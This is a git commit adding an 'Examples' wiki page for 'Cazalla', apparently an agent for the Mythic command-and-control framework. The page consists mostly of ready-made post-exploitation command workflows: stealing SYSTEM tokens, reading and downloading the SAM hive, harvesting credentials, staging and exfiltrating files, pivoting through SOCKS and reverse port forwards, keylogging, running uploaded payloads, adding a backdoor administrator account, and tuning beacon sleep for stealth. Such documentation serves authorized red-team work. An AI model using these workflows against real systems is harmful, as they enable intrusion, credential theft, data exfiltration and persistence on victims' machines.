wiki created

2025-11-06 12:23:49 +01:00
parent 6cd3511962
commit 2fe9fa8254
60 changed files with 5012 additions and 142 deletions
@@ -0,0 +1,670 @@
+++ 
+title = "Examples" 
+chapter = false 
+weight = 10 
+pre = "5. " 
+++
+
+# Cazalla Usage Examples
+
+This document provides practical examples and use cases for using Cazalla agent in real-world scenarios.
+
+## 📋 Table of Contents
+
+- [Basic Operations](#basic-operations)
+- [File System Operations](#file-system-operations)
+- [Process Management](#process-management)
+- [Token Operations](#token-operations)
+- [Network Tunneling](#network-tunneling)
+- [Credential Harvesting](#credential-harvesting)
+- [Common Workflows](#common-workflows)
+
+---
+
+## Basic Operations
+
+### Initial Reconnaissance
+
+After deploying the agent, start with basic reconnaissance:
+
+```bash
+# Check current user context
+whoami
+
+# List current directory
+pwd
+
+# List files in current directory
+ls
+
+# List running processes
+ps
+
+# Check current directory contents
+ls C:\Users
+```
+
+### Navigate File System
+
+```bash
+# Change to user directory
+cd C:\Users\Administrator
+
+# List files
+ls
+
+# Check current directory
+pwd
+
+# Change to Desktop
+cd Desktop
+
+# List Desktop contents
+ls
+```
+
+---
+
+## File System Operations
+
+### Reading Files
+
+```bash
+# Read a text file
+cat C:\Users\Administrator\Desktop\notes.txt
+
+# Read configuration file (may detect credentials)
+cat C:\Windows\System32\config\sam
+
+# Read hosts file
+cat C:\Windows\System32\drivers\etc\hosts
+
+# Read file with relative path (from current directory)
+cd C:\Users\Administrator\Desktop
+cat notes.txt
+```
+
+### Downloading Files
+
+```bash
+# Download a small file
+download C:\Users\Administrator\Desktop\important.txt
+
+# Download a large file (chunked automatically)
+download C:\Windows\System32\config\sam
+
+# Download with relative path
+cd C:\Users\Administrator\Desktop
+download important.txt
+```
+
+### Uploading Files
+
+```bash
+# Upload a file (requires file_id from Mythic)
+# 1. Upload file to Mythic UI first
+# 2. Get file_id from Files page
+# 3. Execute upload command
+upload <file_id> C:\Users\Administrator\Desktop\payload.exe
+
+# Upload to directory (filename auto-appended)
+upload <file_id> C:\Users\Administrator\Desktop
+
+# Upload to staging directory
+mkdir C:\temp\staging
+upload <file_id> C:\temp\staging
+```
+
+### File Management
+
+```bash
+# Copy a file
+cp C:\Users\Administrator\Desktop\file.txt C:\temp\backup.txt
+
+# Create directory
+mkdir C:\temp\new_folder
+
+# Delete file
+rm C:\temp\old_file.txt
+
+# Delete directory
+rm C:\temp\old_folder
+```
+
+---
+
+## Process Management
+
+### Process Enumeration
+
+```bash
+# List all processes
+ps
+
+# View processes in Process Browser UI
+# Navigate to PROCESSES tab in Mythic UI
+```
+
+### Process Termination
+
+```bash
+# Kill a process by PID
+kill 1234
+
+# Kill from Process Browser UI
+# Right-click process → Kill Process
+```
+
+### Process Investigation
+
+```bash
+# List processes to find target
+ps
+
+# Identify process by name (look for explorer.exe, chrome.exe, etc.)
+# Note the PID
+
+# Kill the process
+kill <PID>
+```
+
+---
+
+## Token Operations
+
+### Token Enumeration
+
+```bash
+# List all available tokens
+list_tokens
+
+# Look for high-value tokens (SYSTEM, Domain Admins, etc.)
+# Note the PID of the process
+```
+
+### Token Theft
+
+```bash
+# Steal token from a process
+steal_token 1060
+
+# Verify impersonation
+whoami
+# Output: NT AUTHORITY\SYSTEM
+
+# Execute commands with stolen token
+# (Commands will run with token's privileges if selected in Mythic UI)
+```
+
+### Token Creation
+
+```bash
+# Create token with domain credentials
+make_token DOMAIN username password
+
+# Create token for local user
+make_token "" Administrator P@ssw0rd123
+
+# Verify token creation
+whoami
+# Output: DOMAIN\username
+
+# Use token for tasking
+# (Select token from dropdown in Mythic UI before issuing commands)
+```
+
+### Token Reversion
+
+```bash
+# After completing privileged operations
+rev2self
+
+# Verify reversion
+whoami
+# Output: Original user context
+```
+
+### Complete Token Workflow
+
+```bash
+# 1. Check current context
+whoami
+# Output: DESKTOP-ABC\localuser
+
+# 2. List available tokens
+list_tokens
+# Find SYSTEM token (PID 1060)
+
+# 3. Steal token
+steal_token 1060
+
+# 4. Verify impersonation
+whoami
+# Output: NT AUTHORITY\SYSTEM
+
+# 5. Execute privileged operations
+# (Commands run with SYSTEM privileges)
+
+# 6. Revert to original token
+rev2self
+
+# 7. Verify reversion
+whoami
+# Output: DESKTOP-ABC\localuser
+```
+
+---
+
+## Network Tunneling
+
+### SOCKS Proxy Example
+
+```bash
+# Start SOCKS proxy
+socks {"action":"start","port":7002}
+
+# Configure proxychains on your machine
+# Edit /etc/proxychains.conf:
+[ProxyList]
+socks5 <mythic_server_ip> 7002
+
+# Use proxychains with tools
+proxychains curl https://internal-server.local
+proxychains nmap -sT 192.168.1.0/24
+proxychains wget https://internal-server.local/file.txt
+
+# Stop SOCKS proxy
+socks {"action":"stop","port":7002}
+```
+
+### Reverse Port Forwarding Example
+
+```bash
+# Start reverse port forward
+# Agent listens on 8080, forwards to 192.168.1.100:80
+rpfwd {"action":"start","port":8080,"remote_host":"192.168.1.100","remote_port":80}
+
+# Connect to agent:8080 (from another machine)
+curl http://<agent_ip>:8080
+# Connection is forwarded to 192.168.1.100:80
+
+# Stop reverse port forward
+rpfwd {"action":"stop","port":8080}
+```
+
+### Database Access via RPFWD
+
+```bash
+# Tunnel database connections
+rpfwd {"action":"start","port":3306,"remote_host":"10.0.0.50","remote_port":3306}
+
+# Connect to MySQL through agent (from another machine)
+mysql -h <agent_ip> -P 3306 -u user -p
+```
+
+---
+
+## Credential Harvesting
+
+### Automatic Credential Detection
+
+The `cat` command automatically detects and reports credentials:
+
+```bash
+# Read a file that may contain credentials
+cat C:\Users\Administrator\Desktop\config.txt
+
+# If credentials are found, they are automatically:
+# - Detected in file content
+# - Reported to Mythic's credential store
+# - Visible in CREDENTIALS tab
+
+# Example file content that triggers detection:
+# username:password
+# domain\username:password
+# username@domain.com:password
+# password=secret123
+# http://user:pass@host.com
+# aad3b435b51404ee:hash...
+```
+
+### Credential Extraction Workflow
+
+```bash
+# 1. Find configuration files
+cd C:\Users\Administrator
+ls
+
+# 2. Read configuration files
+cat .config
+cat credentials.txt
+cat config.ini
+
+# 3. Check Credentials tab in Mythic UI
+# All discovered credentials appear automatically
+
+# 4. Use credentials for token creation
+make_token DOMAIN username password
+```
+
+---
+
+## Common Workflows
+
+### Initial System Reconnaissance
+
+```bash
+# 1. Check current context
+whoami
+pwd
+
+# 2. List processes
+ps
+
+# 3. Navigate user directory
+cd C:\Users
+ls
+
+# 4. Check Desktop for interesting files
+cd Administrator\Desktop
+ls
+
+# 5. Read interesting files
+cat notes.txt
+cat config.txt
+```
+
+### Privilege Escalation Workflow
+
+```bash
+# 1. List available tokens
+list_tokens
+
+# 2. Identify high-value token (SYSTEM, Domain Admin, etc.)
+# Note the PID
+
+# 3. Steal token
+steal_token <PID>
+
+# 4. Verify impersonation
+whoami
+
+# 5. Execute privileged operations
+# (Commands run with stolen token's privileges)
+
+# 6. Revert to original token
+rev2self
+```
+
+### Data Exfiltration Workflow
+
+```bash
+# 1. Navigate to target directory
+cd C:\Users\Administrator\Documents
+
+# 2. List files
+ls
+
+# 3. Download important files
+download important_document.pdf
+download database_backup.sql
+
+# 4. Create staging directory
+mkdir C:\temp\exfil
+
+# 5. Copy files to staging
+cp important_document.pdf C:\temp\exfil
+cp database_backup.sql C:\temp\exfil
+
+# 6. Download from staging
+cd C:\temp\exfil
+download important_document.pdf
+download database_backup.sql
+
+# 7. Clean up staging
+cd C:\temp
+rm exfil
+```
+
+### Lateral Movement via SOCKS
+
+```bash
+# 1. Start SOCKS proxy
+socks {"action":"start","port":7002}
+
+# 2. Configure proxychains on your machine
+# Edit /etc/proxychains.conf:
+[ProxyList]
+socks5 <mythic_server_ip> 7002
+
+# 3. Use proxychains for lateral movement
+proxychains smbclient //internal-server.local/share -U user
+proxychains rdesktop internal-server.local
+proxychains ssh user@internal-server.local
+```
+
+### File Upload and Execution
+
+```bash
+# 1. Upload payload to staging directory
+mkdir C:\temp\staging
+upload <file_id> C:\temp\staging\payload.exe
+
+# 2. Verify upload
+ls C:\temp\staging
+
+# 3. Execute payload (if needed)
+shell C:\temp\staging\payload.exe
+
+# 4. Clean up
+rm C:\temp\staging\payload.exe
+```
+
+### Screenshot Capture
+
+```bash
+# Capture screenshot
+screenshot
+
+# Screenshot is automatically uploaded to Mythic
+# View in Files tab or Screenshot UI
+```
+
+### Keylogging Session
+
+```bash
+# 1. Start keylogger
+keylog_start
+# WARNING: This has CRITICAL OPSEC RISK
+# Always requires lead operator approval
+
+# 2. Let keylogger run for desired duration
+# Keystrokes are automatically captured and sent to Mythic
+
+# 3. View keylogs in Mythic UI
+# Navigate to KEYLOGS tab
+
+# 4. Stop keylogger
+keylog_stop
+```
+
+### Complete Post-Exploitation Workflow
+
+```bash
+# 1. Initial reconnaissance
+whoami
+pwd
+ps
+ls
+
+# 2. Navigate user directory
+cd C:\Users\Administrator
+ls Desktop
+
+# 3. Read interesting files
+cat Desktop\notes.txt
+cat Desktop\config.txt
+
+# 4. Download important files
+download Desktop\important.pdf
+
+# 5. Token enumeration
+list_tokens
+
+# 6. Steal high-value token
+steal_token <PID>
+
+# 7. Verify impersonation
+whoami
+
+# 8. Execute privileged operations
+# (Commands run with stolen token's privileges)
+
+# 9. Capture screenshot
+screenshot
+
+# 10. Revert token
+rev2self
+
+# 11. Adjust sleep for stealth
+sleep {"seconds":60,"jitter":20}
+```
+
+---
+
+## Advanced Examples
+
+### Multi-Step Privilege Escalation
+
+```bash
+# 1. List tokens to find SYSTEM process
+list_tokens
+
+# 2. Steal SYSTEM token
+steal_token <SYSTEM_PID>
+
+# 3. Verify SYSTEM context
+whoami
+# Output: NT AUTHORITY\SYSTEM
+
+# 4. Access protected files
+cat C:\Windows\System32\config\sam
+download C:\Windows\System32\config\sam
+
+# 5. Create new user with SYSTEM privileges
+shell net user hacker P@ssw0rd123 /add
+shell net localgroup administrators hacker /add
+
+# 6. Revert to original token
+rev2self
+```
+
+### Network Pivoting via SOCKS
+
+```bash
+# 1. Start SOCKS proxy
+socks {"action":"start","port":7002}
+
+# 2. Configure proxychains
+# Edit /etc/proxychains.conf:
+[ProxyList]
+socks5 <mythic_server_ip> 7002
+
+# 3. Scan internal network
+proxychains nmap -sT 192.168.1.0/24
+
+# 4. Access internal services
+proxychains curl http://192.168.1.100
+proxychains smbclient //192.168.1.100/share -U user
+
+# 5. Stop SOCKS proxy
+socks {"action":"stop","port":7002}
+```
+
+### Credential Extraction and Lateral Movement
+
+```bash
+# 1. Read configuration files
+cat C:\Users\Administrator\Desktop\config.txt
+# Credentials automatically detected and reported
+
+# 2. Check Credentials tab in Mythic UI
+# Find extracted credentials
+
+# 3. Create token with extracted credentials
+make_token DOMAIN username password
+
+# 4. Verify token creation
+whoami
+# Output: DOMAIN\username
+
+# 5. Use token for lateral movement
+# (Commands run with domain credentials if token selected)
+```
+
+---
+
+## Tips and Best Practices
+
+### Use Built-in Commands
+
+**❌ Avoid:**
+```bash
+shell whoami
+shell tasklist
+shell dir
+```
+
+**✅ Prefer:**
+```bash
+whoami
+ps
+ls
+```
+
+### Use Relative Paths
+
+```bash
+# Change to target directory first
+cd C:\Users\Administrator\Desktop
+
+# Then use relative paths
+ls
+cat notes.txt
+download important.pdf
+```
+
+### Monitor Artifacts
+
+After executing commands, always check the Artifacts tab in Mythic UI to see what forensic evidence was created.
+
+### Review OPSEC Warnings
+
+Always read and understand OPSEC popup messages before approving commands.
+
+### Use Appropriate Sleep Intervals
+
+```bash
+# Initial deployment (stealth)
+sleep {"seconds":60,"jitter":30}
+
+# Interactive operations
+sleep {"seconds":10,"jitter":10}
+
+# Stealth mode
+sleep {"seconds":120,"jitter":40}
+```
+
+---
+
+## Related Documentation
+
+- [Commands Reference](commands.md) - Detailed command documentation
+- [OPSEC Guide](opsec.md) - Operational security considerations
+- [Features Overview](features.md) - Feature explanations
+- [Getting Started](getting-started.md) - Installation and setup
+
+---
+
+**Last Updated:** 2024
+